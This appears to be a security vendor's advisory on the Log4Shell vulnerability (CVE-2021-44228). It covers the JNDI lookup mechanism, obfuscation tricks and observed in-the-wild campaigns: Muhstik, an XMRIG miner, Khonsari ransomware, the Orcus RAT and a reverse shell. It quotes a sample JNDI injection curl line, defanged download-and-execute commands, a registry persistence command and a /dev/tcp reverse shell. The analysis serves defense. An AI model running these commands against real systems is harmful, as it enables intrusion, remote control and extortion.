On December 9, 2021, Apache disclosed CVE-2021-44228, a remote code execution vulnerability – assigned with a severity of 10 (the highest possible risk score). The source of the vulnerability is Log4j, a logging library commonly used by a wide range of applications, and specifically versions up to 2.14.1 (Note: this vulnerability is also known as Log4Shell).
Log4j is an open source library, part of the Apache Logging Services, written in Java. The original release of the Java Development Kit (JDK) did not include logging APIs, so Java logging libraries quickly gained popularity including Log4j. The Log4j library is widely used by other frameworks, such as Elasticsearch, Kafka and Flink, that are foundational for many popular web sites and services.
Java is a cross-platform framework, and this vulnerability is not limited to applications running on specific operating system. All applications using the framework running on operating systems such as Windows, Linux, macOS and FreeBSD are vulnerable. Java powers web cams, car navigation systems, DVD players and set-top boxes, various terminals, and even parking meters and medical devices.
As a result, this vulnerability has a very significant ripple effect on the software supply chain, and it is hard to predict the total scope and long-term impact of the vulnerability. What we can say already is that mitigation will be a marathon, not a sprint. We expect to see more application-specific exploits soon and the situation is still very dynamic. For Bitdefender customers, we recommend reading this security advisory released on December 11th 2021.
Description of Vulnerability
We think of logging libraries as passive since they typically just write down messages to the log file or a database. However, there is often processing done before the string is saved to a log file – for example expansion of variables (defined as ${variable}), such as date, time or username. An expression like Log.info("${user.username} not found") can replace the ${user.username} expression with the actual username of the current user. This is like using $() in PowerShell for string expansion and processing.
This information can be retrieved locally, for example current time on server – or it can be retrieved from a remote machine. For the remote lookup, Log4j uses the Java Naming and Directory Interface (JNDI). JNDI provides a way for the programmer to lookup objects using different services and protocols such as LDAP, but also DNS, Java Remote Method Invocation (RMI) and others.
The syntax is simple, ${ jndi:protocol://server}. ${} blocks can be nested and combined, which complicates detection, as there are numerous obfuscation techniques that can be used. As a simple example, instead of ${ jndi:}, attackers can use ${${lower:jn}${lower:di}}. This allows attackers to extract information from a remote server by exploiting the vulnerability – they can for example read an environment variable and include its value in an LDAP query (see below):
Information gathering using L4j2 vulnerability
Unfortunately, this is also not the whole story. RFC 2713 defines how Java objects can be stored in a directory service – and JNDI includes logic to detect when a directory object contains a Java object and loads it into memory. Continuing with the LDAP example, if the LDAP object has ObjectClass attribute defined as javaNamingReference and has the attributes javaCodebase, javaFactory and javaClassName, the LDAP object loader will retrieve the contents of the URL defined in javaCodebase and use it to create an object in memory. The initialization method (constructor) of this class is executed – loading the untrusted code, from an untrusted source.
Remote Code Execution using L4j2 vulnerability
For this vulnerability to work, the attacker just needs to find a way to get a specially crafted string to be processed by the Log4j logging framework. For example, a web application (target of this vulnerability) often stores the user agent string that identifies the browser used by visitors.
String userAgent = request.getRequestHeader("User-Agent");
log.info(userAgent);
An attacker can specify a custom user-agent string for his connection. This information is saved in the log file – and while processing it, Log4j is compromised.
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"
Specially crafted user-agent string to trigger this vulnerability
All versions of Log4j from 2.0-beta9 (released in September 2013) to 2.14.1 (March 2021) are affected. The latest version (2.15, at the moment of writing) is not affected as it was released after the first PoC shown to exploit the Log4j vulnerability was published.
It is important to understand that LDAP and user agent string are just examples of potential exploitation. There are other protocols attackers may use to cause Log4j to save log information in a specific format.
JNDI protocols used in real-life attacks. Source: Bitdefender telemetry (12/10/2021 to 12/13/2021)
How are attackers exploiting the vulnerability?
Since December 10th, Bitdefender observed various attacks on our honeypots, but we also detected real-world attacks on machines running the Bitdefender endpoint protection agent. Gaining initial access via the exploit followed by cryptojacking (malicious crypto mining without the knowledge and consent from the owner), seems to be the primary motivation for threat actors at this early stage of exploitation.
The following detections are based on Bitdefender telemetry from hundreds of millions of global sensors and are not based on data from honeypots or by monitoring traffic in botnet networks.
Muhstik Botnet
Several botnets are already exploiting this vulnerability. Botnets are targeting servers to deploy backdoors, expand their botnet network (with well-connected Internet servers) and deploy cryptominers. Mass scale deployment is critical for success of these botnet operators. Monitoring botnet activity is often a good prediction of how dangerous a new RCE really is and the potential scale of attacks.
In our telemetry, we have identified Muhstik botnet as one of the early adopters.
The malicious hxxp://45.130.229[.]168:9999/Exploit.class class file is being used by attackers to execute the curl hxxp://18.228.7[.]109/.log/log | sh command. The shell script then tries to download multiple ELF (Executable and Linkable Format) files and shell scripts to then execute them. The aim of these scripts is to install the Muhstik botnet and deploy a cryptominer.
Deployment flow of Muhstik botnet
These files are detected as:
GenericKD.47627843Gen:Variant.Trojan.Linux.Gafgyt.22Linux.Zojfor.A.
The class file is detected as:
GenericKD.47627832
XMRIG miner
We also detected threat actors trying to deploy the XMRIG miner. This is triggered via anomaly detection in Bitdefender EDR when a new suspicious subprocess is started:
Anomaly detected in Bitdefender EDR
This process executes the command line cmd /C "(curl -s hxxp://158.247.218[.]44:8000/wsnbb.sh||wget -q -O- hxxp://154.247.218[.]44:8000/wsnbb.sh) | bash, which downloads the script file wsnbb.sh.
This script then attempts to deploy the XMRIG miner from GitHub:
This behavior is detected by Bitdefender EDR as:
NotExists.1.Process.NewSubprocessesStarted
The XMRIG miner is detected as:
Gen:Variant.Application.Linux.Miner.3 (Linux)Gen:Variant.Application.Miner.2 (Windows)
Application.MAC.Generic.194 (macOS)
New Ransomware family Khonsari
While most of the attacks observed so far seem to be targeting Linux servers, we have also seen attacks against systems running the Windows operating system. For these attacks, we have detected the attempt to deploy a ransomware family called Khonsari.
This attempt to exploit the Log4j vulnerability uses the malicious hxxp://3.145.115[.]94/Main.class class to download an additional payload. On Sunday, 11th December, Bitdefender observed this payload as a malicious .NET binary file download from hxxp://3.145.115[.]94/zambo/groenhuyzen.exe. This is a new ransomware family, called Khonsari after the extension used on the encrypted files.
Once executed, the malicious file will list all the drives and encrypt them entirely, except the C:\ drive. On the C:\ drive, Khonsari will encrypt only the following folders:
C:\Users\<user>\DocumentsC:\Users\<user>\VideosC:\Users\<user>\PicturesC:\Users\<user>\DownloadsC:\Users\<user>\Desktop
Files with the extensions .ini and .lnk are ignored. The algorithm used for encryption is AES 128 CBC using PaddingMode.Zeros. After encryption, the extension .khonsari is added to each file.
A ransom note is written in C:\Users\<user>\Desktop\HOW TO GET YOUR FILES BACK.TXT and opened with Notepad:
Your files have been encrypted and stolen by the Khonsari family.If you wish to decrypt , call (225) 287-1309 or email [email protected] you do not know how to buy btc, use a search engine to find exchanges.DO NOT MODIFY OR DELETE THIS FILE OR ANY ENCRYPTED FILES. IF YOU DO, YOUR FILES MAY BE UNRECOVERABLE.
There is also a GET request to hxxp://3.145.115[.]94/zambos_caldo_de_p.txt. The response is not used in the binary code, and our hypothesis is that the GET request is performed for logging and monitoring purposes.
The ransomware is detected as:
GenericKD.47628589.
The class file is detected as:
GenericKD.38253445.
Orcus Remote Access Trojan
An additional attempt for downloading new payloads was observed by Bitdefender Monday December 13th, using the same URL hxxp://3.145.115[.]94/Main.class. This time, however, Main.class attempts to download the new payload from hxxp://test.verble[.]rocks/dorflersaladreviews.jar.
The .jar file is copied under C:\Users\<user>\AppData\Local\Adobe\fengchenteamchina.class and persistence is set using the command:
reg.exe add "hkcu\software\microsoft\windows\currentversion\run" /v "adobe telemetry agent" /t reg_sz /f /d "c:\program files (x86)\common files\oracle\java\javapath\javaw.exe -jar c:\users\<user>\appdata\local\adobe\fengchenteamchina.class peedee"
It downloads shellcode from hxxp://test.verble.rocks/dorflersaladreviews.bin.encrypted and injects it in the memory of the conhost.exe process. Here, the shellcode decrypts and loads into memory another malicious payload, that appears to be the Orcus Remote Access Trojan (RAT) connecting to the test.verble[.]rocks command and control server.
The class file is detected as:
GenericKD.38268017
The .jar file is detected as:
GenericKD.38267576
The shellcode is detected as:
Agent.FQSIDonutLoader.A
Orcus RAT is detected as:
Gen:Variant.MSILPerseus.207255
Reverse Bash Shell
Gaining a foothold for later exploitation is a trend we are seeing after 0-day exploits. Deploying a reverse shell on these vulnerable servers is a simple action that can be later followed with a full-scale attack.
In one of the attacks we have seen, the malicious hxxp://152.32.216[.]78/Exploit.class class file is used to execute the following command line:
The decrypted command is the execution of the following command line. The result of this command is establishing a reverse bash shell.
/bin/bash -i > /dev/tcp/152.32.216[.]78/7777 0<&1 2>&1
The simplicity of this attack demonstrates how easy it is to weaponize the Log4j vulnerability.
This behavior is detected by Bitdefender EDR as:
BashReverseShell
The class file is detected as:
GenericKD.47629137
Call to Action
Bitdefender strongly advises its customers to take immediate action and deploy all existing patches and mitigations recommended in industry vendor advisories. We also recommend the following course of action:
- Conduct an extensive infrastructure and software application audit to identify all systems that implement the Apache Log4j2 logging framework. Then, either immediately upgrade these deployments to Log4j version 2.15.0, which is not vulnerable, or deploy the configuration mitigations recommended by Apache, more details in this article.
- Review your software supply chain and software bill of materials. Seek mitigation countermeasures or patches from either open-source software project maintainers or commercial software manufacturers for all affected systems. This is especially true for software you are running on internet-facing systems but should not be limited to such systems due to the lateral attack threat posed by the severity of this vulnerability.
- Implement defense in depth approach. As of now, attacks consist of multiple stages, giving security team a good opportunity to prevent security incident from evolving into a security breach. In our telemetry, we have seen various modules preventing the exploitation, from network level protection (URL/IP reputation), static antimalware (detecting miner or known malicious payload) to Advanced Threat Defense for detecting suspicious process behavior.
- Actively monitor the infrastructure for potential exploitation attempts and respond accordingly. Implement the Bitdefender EDR solution, look for any signs of reverse TCP shells, and review any detected anomalies.
It is important to note this is a highly dynamic situation and many software vendors and open-source projects are still investigating the presence of Log4j2 in their software bill of materials with additional advisories expected over the coming days and weeks. Therefore, closely monitoring for vendor updates should be a critical part of your ongoing mitigation efforts.